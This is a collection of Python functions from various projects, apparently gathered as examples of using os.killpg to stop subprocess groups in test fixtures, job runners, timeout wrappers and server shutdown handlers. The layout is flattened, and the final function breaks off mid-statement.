def example_app(): """Example app fixture.""" current_dir = os.getcwd() # go to example directory project_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) exampleappdir = os.path.join(project_dir, 'examples') os.chdir(exampleappdir) # setup example cmd = './app-setup.sh' exit_status = subprocess.call(cmd, shell=True) assert exit_status == 0 # setup example cmd = './app-fixtures.sh' exit_status = subprocess.call(cmd, shell=True) assert exit_status == 0 # Starting example web app cmd = 'FLASK_APP=app.py flask run --debugger -p 5000' webapp = subprocess.Popen(cmd, stdout=subprocess.PIPE, preexec_fn=os.setsid, shell=True) time.sleep(20) # return webapp yield webapp # stop server os.killpg(webapp.pid, signal.SIGTERM) # tear down example app cmd = './app-teardown.sh' subprocess.call(cmd, shell=True) # return to the original directory os.chdir(current_dir)
def run_regular_process(cmd, kwargs, cargs={}): """ Executes a subprocess command by using subprocess.Popen """ proc = subprocess.Popen(cmd, **kwargs) if kwargs.get('stdout') or kwargs.get('stderr'): try: out, err = proc.communicate(**cargs) except TimeoutExpired: if kwargs.get('start_new_session') and hasattr(os, 'killpg'): os.killpg(proc.pid, signal.SIGKILL) else: proc.kill() out, err = proc.communicate() exc = TimeoutExpired(proc.args, timeout=cargs['timeout'], output=out) exc.stderr = err raise exc status = proc.returncode else: out, err = (None, None) try: status = proc.wait(**cargs) except TimeoutExpired as e: if kwargs.get('start_new_session') and hasattr(os, 'killpg'): os.killpg(proc.pid, signal.SIGKILL) else: proc.kill() proc.wait() raise e return status, out, err
def _kill_server(server_process): """ kill the server subprocess group """ if server_process: print "\nKilling the stale instance of a server..." os.killpg(server_process.pid, signal.SIGTERM)
def ssh_output(cmd): """ Runs an SSH command and returns the stdout/stderr. :param cmd: command to run :type cmd: str :rtype: (str, str) """ # ssh must run with stdin attached to a tty master, slave = pty.openpty() proc = subprocess.Popen(cmd, stdin=slave, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=os.setsid, close_fds=True, shell=True) os.close(slave) # wait for the ssh connection time.sleep(8) # kill the whole process group os.killpg(os.getpgid(proc.pid), 15) os.close(master) stdout, stderr = proc.communicate() print('SSH STDOUT: {}'.format(stdout.decode('utf-8'))) print('SSH STDERR: {}'.format(stderr.decode('utf-8'))) return stdout, stderr
def end_test(self, retcode): if self.jmeter_process: self.log.info("Terminating jmeter process group with PID %s", self.jmeter_process.pid) try: os.killpg(self.jmeter_process.pid, signal.SIGTERM) except OSError, exc: self.log.debug("Seems JMeter exited itself: %s", exc)
def reload(self): """ Reload and re-apply configuration settings Existing child processes are sent a SIGHUP signal and will exit after completing existing requests. New child processes, which will have the updated configuration, are spawned. This allows preventing interruption to the service. """ def _has_changed(old, new, param): old = old.get(param) new = getattr(new, param) return (new != old) old_conf = utils.stash_conf_values() has_changed = functools.partial(_has_changed, old_conf, CONF) CONF.reload_config_files() os.killpg(self.pgid, signal.SIGHUP) self.stale_children = self.children self.children = set() # Ensure any logging config changes are picked up logging.setup(CONF, 'glance') config.set_config_defaults() self.configure(old_conf, has_changed) self.start_wsgi()
def run_with_timeout(command, timeout): """ Run given command for timeout seconds. If command does not exit before timeout is reached, forcibly kill spawned process. """ global result global output global process def thread_fun(): global process global output global result print "Blog Thread Running " + command + " started" process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=os.setsid) output = process.communicate()[0] result = process.returncode thread = threading.Thread(target=thread_fun) thread.start() thread.join(timeout) if thread.isAlive(): print "Killing Example" try: output = "" result = -1 #process.kill() os.killpg(process.pid, signal.SIGTERM) except OSError: pass print "Going To Sleep" time.sleep(10) print "Woken Up" thread.join() return
def progressive_kill(pid, kill_process_group=False): if sys.platform.startswith("win"): commands_to_try = ['TASKKILL /PID {pid}', 'TASKKILL /F /PID {pid}'] with open(os.devnull) as devnull: for command in commands_to_try: kill_proc = subprocess.Popen(command.format(pid=pid), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) out = kill_proc.communicate()[0] if kill_proc.poll() == 0: LOG.debug("{command} succeeded".format(command=command)) return else: LOG.debug("{command} failed".format(command=command)) LOG.debug(out) else: signals_to_try = ['SIGINT', 'SIGTERM', 'SIGKILL'] for signal_name in signals_to_try: signal_num = getattr(signal, signal_name) try: if kill_process_group: os.killpg(pid, signal_num) else: os.kill(pid, signal_num) LOG.debug("{signal_name} succeeded".format(signal_name=signal_name)) return except Exception as e: LOG.debug("{signal_name} failed".format(signal_name=signal_name)) LOG.debug(traceback.format_exc(e))
def hup(*args): # Shuts down the server(s), but allows running requests to complete self.LOG.error(_LE('SIGHUP received')) signal.signal(signal.SIGHUP, signal.SIG_IGN) os.killpg(0, signal.SIGHUP) signal.signal(signal.SIGHUP, hup)
def on_rfcomm_disconnect(self, port): node = '/dev/rfcomm%i' % port for bdaddr, scripts in self.scripts.items(): process = scripts.get(node) if process: logging.info("Sending HUP to %s" % process.pid) os.killpg(process.pid, signal.SIGHUP)
def python(code): pypy = Popen(['pypy-sandbox'], stdin=PIPE, stdout=PIPE, stderr=PIPE, env={'PATH': PATH}, universal_newlines=True, preexec_fn=os.setpgrp) try: stdout, stderr = pypy.communicate(code, timeout=5) except TimeoutExpired: os.killpg(pypy.pid, signal.SIGKILL) return "Timed out..." errlines = stderr.split('\n') if len(errlines) > 3: for i in range(1, len(errlines)): line = errlines[-i] # iterate backwards if line: return line[:250] else: for line in stdout.split('\n'): if line.startswith('>>>> '): while line[:5] in ['>>>> ', '.... ']: line = line[5:] return line[:250]
def stop_job( self, job ): # if our local job has JobExternalOutputMetadata associated, then our primary job has to have already finished client = self.get_client( job.destination_params, job.job_runner_external_id ) job_ext_output_metadata = job.get_external_output_metadata() if not PulsarJobRunner.__remote_metadata( client ) and job_ext_output_metadata: pid = job_ext_output_metadata[0].job_runner_external_pid # every JobExternalOutputMetadata has a pid set, we just need to take from one of them if pid in [ None, '' ]: log.warning( "stop_job(): %s: no PID in database for job, unable to stop" % job.id ) return pid = int( pid ) if not self.check_pid( pid ): log.warning( "stop_job(): %s: PID %d was already dead or can't be signaled" % ( job.id, pid ) ) return for sig in [ 15, 9 ]: try: os.killpg( pid, sig ) except OSError as e: log.warning( "stop_job(): %s: Got errno %s when attempting to signal %d to PID %d: %s" % ( job.id, errno.errorcode[e.errno], sig, pid, e.strerror ) ) return # give up sleep( 2 ) if not self.check_pid( pid ): log.debug( "stop_job(): %s: PID %d successfully killed with signal %d" % ( job.id, pid, sig ) ) return else: log.warning( "stop_job(): %s: PID %d refuses to die after signaling TERM/KILL" % ( job.id, pid ) ) else: # Remote kill pulsar_url = job.job_runner_name job_id = job.job_runner_external_id log.debug("Attempt remote Pulsar kill of job with url %s and id %s" % (pulsar_url, job_id)) client = self.get_client(job.destination_params, job_id) client.kill()
def kill_spawned_jobs(verbose=False): """ INPUT: - ``verbose`` -- bool (default: False); if True, display a message each time a process is sent a kill signal EXAMPLES:: sage: gp.eval('a=10') '10' sage: sage.interfaces.quit.kill_spawned_jobs(verbose=False) sage: sage.interfaces.quit.expect_quitall() sage: gp.eval('a=10') '10' sage: sage.interfaces.quit.kill_spawned_jobs(verbose=True) Killing spawned job ... After doing the above, we do the following to avoid confusion in other doctests:: sage: sage.interfaces.quit.expect_quitall() """ from sage.misc.misc import SAGE_TMP file = os.path.join(SAGE_TMP, 'spawned_processes') if not os.path.exists(file): return for L in open(file).readlines(): i = L.find(' ') pid = L[:i].strip() try: if verbose: print("Killing spawned job %s" % pid) os.killpg(int(pid), 9) except OSError: pass
def playFile(self): """play/stop file""" if len(self.selectedItems()) == 1: item_sel = self.selectedItems()[0].text(0).split(" ") if item_sel[0].lower().endswith(".mp3"): playfile = int(AudioFileTools.readOptionsXml(xml_options_root, "playfile")) selected_book = self.selectedItems()[0].parent().text(0) files = AudioFileTools.readFromXml(xml_cache_root, selected_book, files = True) # search for the clicked item in xml file and return path file_path = [each_file[2] for each_file in files if each_file[2] == item_sel[1]][0] if os.path.exists(file_path): afplayCMD = ["afplay", file_path] if not playfile: # play sound and set pid process = subprocess.Popen(afplayCMD, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, preexec_fn = os.setsid) AudioFileTools.saveOptionsXml(xml_options_root, _options_dir, process.pid, "playfile") else: try: os.killpg(playfile, signal.SIGTERM) AudioFileTools.saveOptionsXml(xml_options_root, _options_dir, "0", "playfile") except OSError: process = subprocess.Popen(afplayCMD, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, preexec_fn = os.setsid) AudioFileTools.saveOptionsXml(xml_options_root, _options_dir, process.pid, "playfile")
def run(self, timeout=10, no_assert=False, pass_status=0, do_not_buffer_output=False): def target(): """ subprocess.Popen wrapper that takes care of the dirty business of child processes spawned within the shell """ if self.do_not_buffer_output: self.process = subprocess.Popen([self.exec_cmd], shell=True, preexec_fn=os.setsid) self.process.communicate() else: self.process = subprocess.Popen([self.exec_cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, preexec_fn=os.setsid) self.stdout, self.stderr = self.process.communicate() self.cmd_status = self.process.returncode # this optional flag is useful when no output buffering is desired (e.g. for debugging scripts) self.do_not_buffer_output = do_not_buffer_output thread = threading.Thread(target=target) thread.start() thread.join(timeout) if thread.is_alive() and self.process: #print 'Timeout occured Terminating process' # Timeout occured, kill all processes in the group os.killpg(self.process.pid, signal.SIGTERM) time.sleep(2) if self.process.poll() is None: # Force kill if process is still alive time.sleep(3) os.killpg(self.process.pid, signal.SIGKILL) thread.join() self.cmd_timeout = True # If Command failed or timedout if not no_assert: if (self.cmd_status != pass_status or self.cmd_timeout): raise Exception("Command \'%s\' failed with output [%s], error [%s]" % (self.exec_cmd, self.stdout, self.stderr))
def handle(self, *args, **options): if len(args) != 4: raise Exception("Arguments needed: %s" % self.args) # parse arguments runserver_host = "%s:%s" % (args[0], args[2]) runserver_cmd = "python manage.py runserver %s" % runserver_host nodejs_cmd = "node %s %s %s %s" % (nodjango_indexjs, args[1], args[2], args[3]) try: # start nodejs proxy proc2 = Popen(nodejs_cmd, shell=True, preexec_fn=os.setsid, stdout=sys.stdout, stderr=sys.stderr) # start django runserver proc1 = Popen(runserver_cmd, shell=True, preexec_fn=os.setsid, stdout=sys.stdout, stderr=sys.stderr) time.sleep(2) # start django private socketio self.socket = SocketIO('127.0.0.1', int(args[3]), Namespace=DjangoNamespace) print '* * *\t django socket started' self.socket.wait() finally: print 'killing...' os.killpg(proc1.pid, signal.SIGTERM) os.killpg(proc2.pid, signal.SIGTERM) print 'killed!'
def kill_children(*args): """Kills the entire process group.""" self.logger.error(_('SIGTERM or SIGINT received')) signal.signal(signal.SIGTERM, signal.SIG_IGN) signal.signal(signal.SIGINT, signal.SIG_IGN) self.running = False os.killpg(0, signal.SIGTERM)
def monitor_processes(processes, logger): while processes: time.sleep(1) kill_all = False processes_running = [] for p in processes: status = p.poll() if status is not None: logger.info("Process %s exited with code %d" % (p.pid, status)) if status != 0: kill_all = True logger.error("Process %s failed. Will kill the remaining processes." % p.pid) else: processes_running.append(p) if kill_all: for p in processes: status = p.poll() if status is None: try: os.killpg(p.pid, signal.SIGTERM) except OSError, e: try: p.terminate() except OSError, ex: logger.write("Could not kill the process\n") sys.exit(1)
def run(self): start_time = datetime.now() delta = 0 # poll() returns the returncode attribute, which is either the return # code of the child process (which could be zero), or None if the # process has not yet terminated. while delta < self.timeout and self.proc.poll() is None: time.sleep(1) delta = (datetime.now() - start_time).total_seconds() # if the test is not finished after timeout, first try to terminate it # and if that fails, send SIGKILL to all processes in the test's # process group if self.proc.poll() is None: self.status = 1 self.proc.terminate() time.sleep(5) if self.proc.poll() is None: self.status = 2 if hasattr(os, 'killpg'): os.killpg(self.proc.pid, signal.SIGKILL) self.proc.wait()
def execute (command, timeout = -1): start_time = time.time() processPid = [None] stdoutOutput = [None] stderrOutput = [None] def target(): process = Popen(command, stdout=PIPE, stderr=STDOUT, close_fds=True) processPid[0] = process.pid; (stdoutOutput[0], stderrOutput[0]) = process.communicate(); thread = threading.Thread(target=target) thread.start() thread.join(timeout) if thread.is_alive(): # Kill Process try: os.killpg(processPid[0], signal.SIGKILL) except: pass os.waitpid(-1, os.WNOHANG) thread.join() elapsed_time = time.time() - start_time output = stdoutOutput[0] return (output.strip(), elapsed_time);
def tearDownClass(cls): super(UploaderBase, cls).tearDownClass() # kill server process group os.killpg(cls._runserver.pid, signal.SIGKILL) if os.path.exists('integration_settings.py'): os.unlink('integration_settings.py')
def killProcesses(pid, pgrp): """ kill a job upon request """ pUtil.tolog("killProcesses() called") # if there is a known subprocess pgrp, then it should be enough to kill the group in one go status = False _sleep = True if pgrp != 0: # kill the process gracefully pUtil.tolog("Killing group process %d" % (pgrp)) try: os.killpg(pgrp, signal.SIGTERM) except Exception,e: pUtil.tolog("WARNING: Exception thrown when killing the child group process with SIGTERM: %s" % (e)) _sleep = False else: pUtil.tolog("(SIGTERM sent)") if _sleep: _t = 30 pUtil.tolog("Sleeping %d s to allow processes to exit" % (_t)) time.sleep(_t) try: os.killpg(pgrp, signal.SIGKILL) except Exception,e: pUtil.tolog("WARNING: Exception thrown when killing the child group process with SIGKILL: %s" % (e))
def run(self, timeout): def target(): self.process = subprocess.Popen(self.cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fn=os.setsid) self.out, self.err = self.process.communicate() thread = threading.Thread(target=target) thread.start() thread.join(timeout) if thread.is_alive(): print "killing..." self.process.terminate() thread.join(1) if thread.is_alive(): print "re-killing..." self.process.kill() thread.join(1) if thread.is_alive(): print "re-re-killing..." os.killpg(self.process.pid, signal.SIGTERM) thread.join() return (self.process.returncode, self.out, self.err)
def ws_cli(service_cls, *args, **kwargs): """Parse command line, start/stop ad-hoc server. service_cls - Class to launch web service. Must have the constants service_cls.NS and service_cls.UTIL. *args and **kwargs are passed to its constructor. """ opt_parser = RoseOptionParser() opt_parser.add_my_options("non_interactive", "service_root_mode") opts, args = opt_parser.parse_args() arg = None if args: arg = args[0] if arg == "start": port = None if args[1:]: port = args[1] _ws_init(service_cls, port, opts.service_root_mode, *args, **kwargs) else: report = Reporter(opts.verbosity - opts.quietness) status = _get_server_status(service_cls) level = Reporter.DEFAULT if arg != "stop": level = 0 for key, value in sorted(status.items()): report("%s=%s\n" % (key, value), level=level) if (arg == "stop" and status.get("pid") and (opts.non_interactive or raw_input("Stop server? y/n (default=n)") == "y")): os.killpg(int(status["pid"]), signal.SIGTERM)
def _stop_pid( self, pid, job_id ): """ This method stops the given process id whether it's a task or job. It is meant to be a private helper method, but it is mostly reusable. The first argument is the process id to stop, and the second id is the job's id (which is used for logging messages only right now). """ pid = int( pid ) log.debug( "Stopping pid %s" % pid ) if not self._check_pid( pid ): log.warning( "_stop_pid(): %s: PID %d was already dead or can't be signaled" % ( job_id, pid ) ) return for sig in [ 15, 9 ]: try: os.killpg( pid, sig ) except OSError as e: # This warning could be bogus; many tasks are stopped with # SIGTERM (signal 15), but ymmv depending on the platform. log.warning( "_stop_pid(): %s: Got errno %s when attempting to signal %d to PID %d: %s" % ( job_id, errno.errorcode[e.errno], sig, pid, e.strerror ) ) return # TODO: If we're stopping lots of tasks, then we will want to put this # avoid a two-second overhead using some other asynchronous method. sleep( 2 ) if not self._check_pid( pid ): log.debug( "_stop_pid(): %s: PID %d successfully killed with signal %d" % ( job_id, pid, sig ) ) return else: log.warning( "_stop_pid(): %s: PID %d refuses to die after signaling TERM/KILL" % ( job_id, pid ) )
def child_cleanup(self, local_ids): '''Let the forker know that we are done with the child process data. and clean up. Only call this if you have some sort of return code. Operates on a list of ids ''' for local_id in local_ids: if not self.children.has_key(local_id): continue #kill child if still running. pg = self.children[local_id].proc pid = pg.pid pg.poll() if pg.returncode == None: try: if pg.poll() == None: os.killpg(pid, signal.SIGTERM) sleep(5) if pg.poll() == None: os.killpg(pid, signal.SIGKILL) except OSError: #apparently we're already dead. pass #now that we're dead... if self.children[local_id].runid != None: self.active_runids.remove(self.children[local_id].runid) del self.children[local_id]
def test_serve(): if is_port_8000_in_use(): pytest.skip("port 8000 already in use") p = subprocess.Popen([os.path.join(wpt.localpaths.repo_root, "wpt"), "serve"], preexec_fn=os.setsid) start = time.time() try: while True: if p.poll() is not None: assert False, "server not running" if time.time() - start > 60: assert False, "server did not start responding within 60s" try: resp = urllib2.urlopen("http://web-platform.test:8000") print resp except urllib2.URLError: print "URLError" time.sleep(1) else: assert resp.code == 200 break finally: os.killpg(p.pid, 15)
def _terminate_processes(pids): print_err("At least one health check timed out.") for pid in pids: try: os.killpg(pid, signal.SIGTERM) except OSError: pass
def _killtasks(self, tasks=None, sig=signal.SIGKILL, kill_pgid=False): """ Kill all tasks @param: tasks list of processids @param: sig, signal to use to kill @apram: kill_pgid, send kill to group """ if tasks is None: self.log.error("killtasks no tasks passed") elif isinstance(tasks, basestring): try: tasks = [int(tasks)] except: self.log.error("killtasks failed to convert tasks string %s to int" % tasks) for pid in tasks: pgid = os.getpgid(pid) try: os.kill(int(pid), sig) if kill_pgid: os.killpg(pgid, sig) self.log.debug("Killed %s with signal %s" % (pid, sig)) except OSError, err: # ERSCH is no such process, so no issue if not err.errno == errno.ESRCH: self.log.error("Failed to kill %s: %s" % (pid, err)) except Exception, err: self.log.error("Failed to kill %s: %s" % (pid, err))
def clean_up_and_exit(in_signal, stack): print "Killing webserver process..." if mac: print "<br />" sys.stdout.flush() try: proc['server'].terminate() except: pass try: print "Killing jupyter notebook process [pid={0}]...".format(proc['jupyternotebook'].pid) if mac: print "<br /></body></html>" sys.stdout.flush() pgrp = os.getpgid(proc['jupyternotebook'].pid) os.killpg(pgrp, signal.SIGINT) time.sleep(0.1) os.killpg(pgrp, signal.SIGTERM) except Exception as e: print "Failed to kill notebook: {0}".format(e) if signal == None: exit(0) else: exit(-1)
def tearDown(self): os.killpg(self.fastproxy.pid, signal.SIGTERM)
def kill_children(*args): """Kills the entire process group.""" logger.error('SIGTERM received') signal.signal(signal.SIGTERM, signal.SIG_IGN) running[0] = False os.killpg(0, signal.SIGTERM)
def main(argv=None): parser = argparse.ArgumentParser(description='Submit cloudsim run') parser.add_argument("config", nargs="?", default=str(pathlib.Path('./run.toml'))) parser.add_argument("-n", action="store_true", help="dry run") parser.add_argument("-s", "--show-simulator-window", action="store_true", help="Display Gazebo simulator window.") args = parser.parse_args(argv) config_file = pathlib.Path(args.config).resolve() if not config_file.is_file(): sys.exit(f"{config_file} not found") with open(args.config, 'r') as f: config = toml.load(f) client = docker.from_env() version = client.version()["Version"] if version < "19.03": sys.exit("Please install at least version 19.03 of docker") world = validate_world(config["world"]) circuit = validate_circuit(world) if "timeout" in config: config["robots"]["T{}".format(config["timeout"])] = "teambase" robots = validate_robots(config["robots"]) image = validate_image(client, config["image"]) now = datetime.datetime.now(datetime.timezone.utc) strnow = f"{now.year}-{now.month:02d}-{now.day:02d}T{now.hour:02d}.{now.minute:02d}.{now.second:02d}" logdir = config_file.with_name(f"{strnow}-{config_file.stem}") print(f"circuit: {circuit}") print(f"world: {world}") print(f"image: {image}") print(f"logdir: {logdir}") print(f"robots: ") for name, kind in robots.items(): print(f" {name:>10s}: {kind}") print() _prune_containers(client, robots) _xauth() logdir.mkdir() symlink = config_file.with_name(config_file.stem) if symlink.exists(): symlink.unlink() symlink.symlink_to(f"{strnow}-{config_file.stem}") should_stop = False def _sigint(signum, frame): nonlocal should_stop print("got signal, stopping") should_stop = True signal.signal(signal.SIGINT, signal.SIG_IGN) signal.signal(signal.SIGINT, _sigint) sim = _run_sim(client, circuit, logdir, world, robots, args.show_simulator_window) to_stop = [sim] stdout = [sim] to_wait = [] for n, (name, kind) in enumerate(robots.items(), start=1): if not should_stop: b = _run_bridge(client, circuit, world, name, kind, n) to_stop.append(b) stdout.append(b) if not should_stop: r = _run_robot(client, logdir, image, name, n) to_wait.append(r) stdout.append(r) if not should_stop: print("Waiting for robot containers to finish....") while not should_stop and len(to_wait) > 0: time.sleep(1) for r in to_wait: r.reload() for r in to_wait: if r.status == "exited": print(f"Container {r.name} exited.") if r.name.startswith('T'): #teambase should_stop = True to_wait = [r for r in to_wait if r.status != "exited"] for s in to_stop: s.reload() if s.status == "exited": print(f"Container {s.name} unexpectedly exited.") break else: continue break if len(to_wait) > 0: print("Stopping robot containers...") for r in to_wait: r.kill(signal.SIGINT) # robot containers should respond to signals for r in to_wait: try: r.wait(timeout=10) except Exception: # requests.exceptions.ReadTimeout: print(f"Container {r.name} ignored SIGINT! Stopping anyway.") r.stop(timeout=0) for s in to_stop: try: s.reload() if s.status == "exited": print(f"Container {s.name} exited.") else: print(f"Stopping {s.name} container...") #s.kill(signal.SIGINT) # not working because ign containers don't forward signals s.stop( timeout=0 ) # there is no point in waiting since nobody is listening for signals except docker.errors.APIError as e: print(e) for s in stdout: with open(logdir / f"{s.name}-stdout.txt", "wb") as f: f.write(s.logs()) s.remove() networks = client.networks.list() network_names = {"simnet"} network_names.update(f"relay{n+1}net" for n in range(len(robots))) for net in networks: if net.name in network_names: print(f"Removing {net.name} network...") net.remove() if should_stop: # [How to be a proper program](https://www.cons.org/cracauer/sigint.html) signal.signal(signal.SIGINT, signal.SIG_DFL) os.killpg( os.getpid(), signal.SIGINT ) # signal.raise_signal(signal.SIGINT) available only since python 3.8
def kill_fn(s): os.killpg(gid, s)
def on_timeout(): if proc.returncode is None: print_status('TIMED OUT\n') os.killpg(os.getpgid(proc.pid), signal.SIGKILL) proc.kill()
def _terminate(self, proc): os.killpg(proc.pid, 15) sleep(1) if proc.poll() is None: os.killpg(proc.pid, 9) return proc.wait() # reap
def on_press(self): global alarm_pid if (alarm_pid != 999999999999): os.killpg(alarm_pid, signal.SIGTERM) alarm_pid = 999999999999
for n, test in enumerate(test_to_run): path = test[0] prefix = '[%d/%d]' % (n + 1, n_total) print_status('%s RUNNING %s' % (prefix, path)) signal.signal(signal.SIGALRM, alarm_handler) if args.jenkins and test[1] == 'boost': path = path + " --output_format=XML --log_level=all --report_level=no" proc = subprocess.Popen(path.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env,preexec_fn=os.setsid) signal.alarm(args.timeout) out = None err = None try: out, err = proc.communicate() signal.alarm(0) except: os.killpg(os.getpgid(proc.pid), signal.SIGKILL) proc.kill() proc.returncode = -1 finally: if proc.returncode: print_status('FAILED: %s\n' % (path)) if proc.returncode == -1: print_status('TIMED OUT\n') if out: print('=== stdout START ===') print(out.decode()) print('=== stdout END ===') if err: print('=== stderr START ===') print(err.decode()) print('=== stderr END ===')
def run(self): if SETPROCTITLE: setproctitle.setproctitle('homecontrol-scripts-' + self.Index) levelprevious = -1 IDExternal = self.Settings["scriptid" + self.Index] + "/" self.ComQueue[MQTT].put([ MQTT_PUBLISH_NORETAIN, IDExternal + "interface", self.Settings[SETTINGS_IPTOPIC] ]) self.ComQueue[MQTT].put([MQTT_SUBSCRIBE, IDExternal + "#"]) InitCommands = [] SliderLevelLast = "0" ProcessRunning = {} ProcessThread = {} CommandsQueue = {} #Queue to control shell scripts or processes for i in range(0, 25): try: self.Settings["scriptstart" + self.Index + "," + str(i)] except: levels = i interval = 1 / i break time.sleep(int(self.Index)) #staggered Initialization Process = [0 for i in range(levels + 1)] # preload array with 0 l = i #Collect incomming commands on startup, and modify some of them (e.g. sliderlastlevel) time.sleep(int(self.Settings["waitforstatusupdate"])) while not self.ComQueue[self.IDInternal].empty(): temp = self.ComQueue[self.IDInternal].get() InitCommands.append(temp) for i in range(0, len(InitCommands)): temp = InitCommands[i] if temp[0] == "levellast": SliderLevelLast = temp[1] elif temp[0] == "levellasttoggle": continue else: self.ComQueue[self.IDInternal].put(temp) if self.Settings["firstrun"] == "1": self.ComQueue[self.IDInternal].put(["init"]) while True: data = self.ComQueue[self.IDInternal].get() if data[0] == SCRIPTS_TERMINATE_PROCESS: ProcessThread[data[1]].join() ProcessRunning[data[1]] = False elif data[0] == "state": #Toggle if data[1] == "1": #Kill previous started process in case still running if 1 in ProcessRunning: if ProcessRunning[1]: CommandsQueue[1].put(SCRIPTS_TERMINATE_PROCESS) ProcessThread[1].join() ProcessRunning[1] = False #Start process File = self.Settings["scriptstart" + self.Index + ",0"] if os.path.isfile(File): CommandsQueue[0] = multiprocessing.Queue() ProcessThread[0] = Processes( self.Settings["scriptstart" + self.Index + ",0"], 0, CommandsQueue, self.ComQueue, self.IDInternal) ProcessThread[0].start() ProcessRunning[0] = True self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "STATE", "1"]) elif data[1] == "0": #Kill previous started process in case still running if 0 in ProcessRunning: if ProcessRunning[0]: CommandsQueue[0].put(SCRIPTS_TERMINATE_PROCESS) ProcessThread[0].join() ProcessRunning[0] = False #Start process File = self.Settings["scriptstop" + self.Index + ",0"] if os.path.isfile(File): CommandsQueue[1] = multiprocessing.Queue() ProcessThread[1] = Processes( self.Settings["scriptstop" + self.Index + ",0"], 0, CommandsQueue, self.ComQueue, self.IDInternal) ProcessThread[1].start() ProcessRunning[1] = True self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "STATE", "0"]) elif data[1] == "undefined": self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "STATE", "undefined"]) elif data[0] == "level": if data[1] == "undefined": self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "LEVEL", "undefined"]) else: temp = float(data[1]) for i in range(0, levels): if temp >= interval * i and temp <= interval * (i + 1): if temp > 0: SliderLevelLast = data[1] self.ComQueue[MQTT].put([ MQTT_PUBLISH, IDExternal + "LEVELLAST", data[1] ]) self.ComQueue[MQTT].put([ MQTT_PUBLISH, IDExternal + "LEVELLASTTOGGLE", "1" ]) else: self.ComQueue[MQTT].put([ MQTT_PUBLISH, IDExternal + "LEVELLASTTOGGLE", "0" ]) if levelprevious in ProcessRunning: if ProcessRunning[levelprevious]: CommandsQueue[levelprevious].put( SCRIPTS_TERMINATE_PROCESS) ProcessThread[levelprevious].join() ProcessRunning[levelprevious] = False File = self.Settings["scriptstart" + self.Index + "," + str(i)] if os.path.isfile(File): CommandsQueue[i] = multiprocessing.Queue() ProcessThread[i] = Processes( self.Settings["scriptstart" + self.Index + "," + str(i)], i, CommandsQueue, self.ComQueue, self.IDInternal) ProcessThread[i].start() ProcessRunning[i] = True levelprevious = i self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "LEVEL", data[1]]) elif data[0] == "init": if Process[0] != 0: os.killpg(os.getpgid(Process[0].pid), signal.SIGTERM) Process[0] = 0 if Process[1] != 0: os.killpg(os.getpgid(Process[1].pid), signal.SIGTERM) Process[1] = 0 if l == 1: # only one level, must be a "state" script self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "STATE", "0"]) else: #more then one level, must be a multilevel script self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "LEVEL", "0"]) self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "LEVELLAST", "0"]) self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "LEVELLASTTOGGLE", "0"]) continue elif data[0] == "levellasttoggle": if data[1] == "0": self.ComQueue[self.IDInternal].put(["level", "0"]) self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "LEVELLASTTOGGLE", "0"]) else: self.ComQueue[self.IDInternal].put( ["level", SliderLevelLast]) self.ComQueue[MQTT].put( [MQTT_PUBLISH, IDExternal + "LEVELLASTTOGGLE", "1"])
def run_single_test(self, test): if test.fname[0].endswith('.jar'): cmd = ['java', '-jar'] + test.fname elif not test.is_cross_built and run_with_mono(test.fname[0]): cmd = ['mono'] + test.fname else: if test.is_cross_built: if test.exe_runner is None: # Can not run test on cross compiled executable # because there is no execute wrapper. cmd = None else: cmd = [test.exe_runner] + test.fname else: cmd = test.fname if cmd is None: res = 'SKIP' duration = 0.0 stdo = 'Not run because can not execute cross compiled binaries.' stde = None returncode = GNU_SKIP_RETURNCODE else: test_opts = deepcopy(self.options) test_env = self.get_test_env(test_opts, test) wrap = self.get_wrapper(test_opts) if test_opts.gdb: test.timeout = None cmd = wrap + cmd + test.cmd_args + self.options.test_args starttime = time.time() if len(test.extra_paths) > 0: test_env['PATH'] = os.pathsep.join(test.extra_paths + ['']) + test_env['PATH'] # If MALLOC_PERTURB_ is not set, or if it is set to an empty value, # (i.e., the test or the environment don't explicitly set it), set # it ourselves. We do this unconditionally for regular tests # because it is extremely useful to have. # Setting MALLOC_PERTURB_="0" will completely disable this feature. if ('MALLOC_PERTURB_' not in test_env or not test_env['MALLOC_PERTURB_'] ) and not self.options.benchmark: test_env['MALLOC_PERTURB_'] = str(random.randint(1, 255)) stdout = None stderr = None if not self.options.verbose: stdout = subprocess.PIPE stderr = subprocess.PIPE if self.options and self.options.split else subprocess.STDOUT # Let gdb handle ^C instead of us if test_opts.gdb: previous_sigint_handler = signal.getsignal(signal.SIGINT) # Make the meson executable ignore SIGINT while gdb is running. signal.signal(signal.SIGINT, signal.SIG_IGN) def preexec_fn(): if test_opts.gdb: # Restore the SIGINT handler for the child process to # ensure it can handle it. signal.signal(signal.SIGINT, signal.SIG_DFL) else: # We don't want setsid() in gdb because gdb needs the # terminal in order to handle ^C and not show tcsetpgrp() # errors avoid not being able to use the terminal. os.setsid() p = subprocess.Popen( cmd, stdout=stdout, stderr=stderr, env=test_env, cwd=test.workdir, preexec_fn=preexec_fn if not is_windows() else None) timed_out = False kill_test = False if test.timeout is None: timeout = None elif test_opts.timeout_multiplier is not None: timeout = test.timeout * test_opts.timeout_multiplier else: timeout = test.timeout try: (stdo, stde) = p.communicate(timeout=timeout) except subprocess.TimeoutExpired: if self.options.verbose: print("%s time out (After %d seconds)" % (test.name, timeout)) timed_out = True except KeyboardInterrupt: mlog.warning("CTRL-C detected while running %s" % (test.name)) kill_test = True finally: if 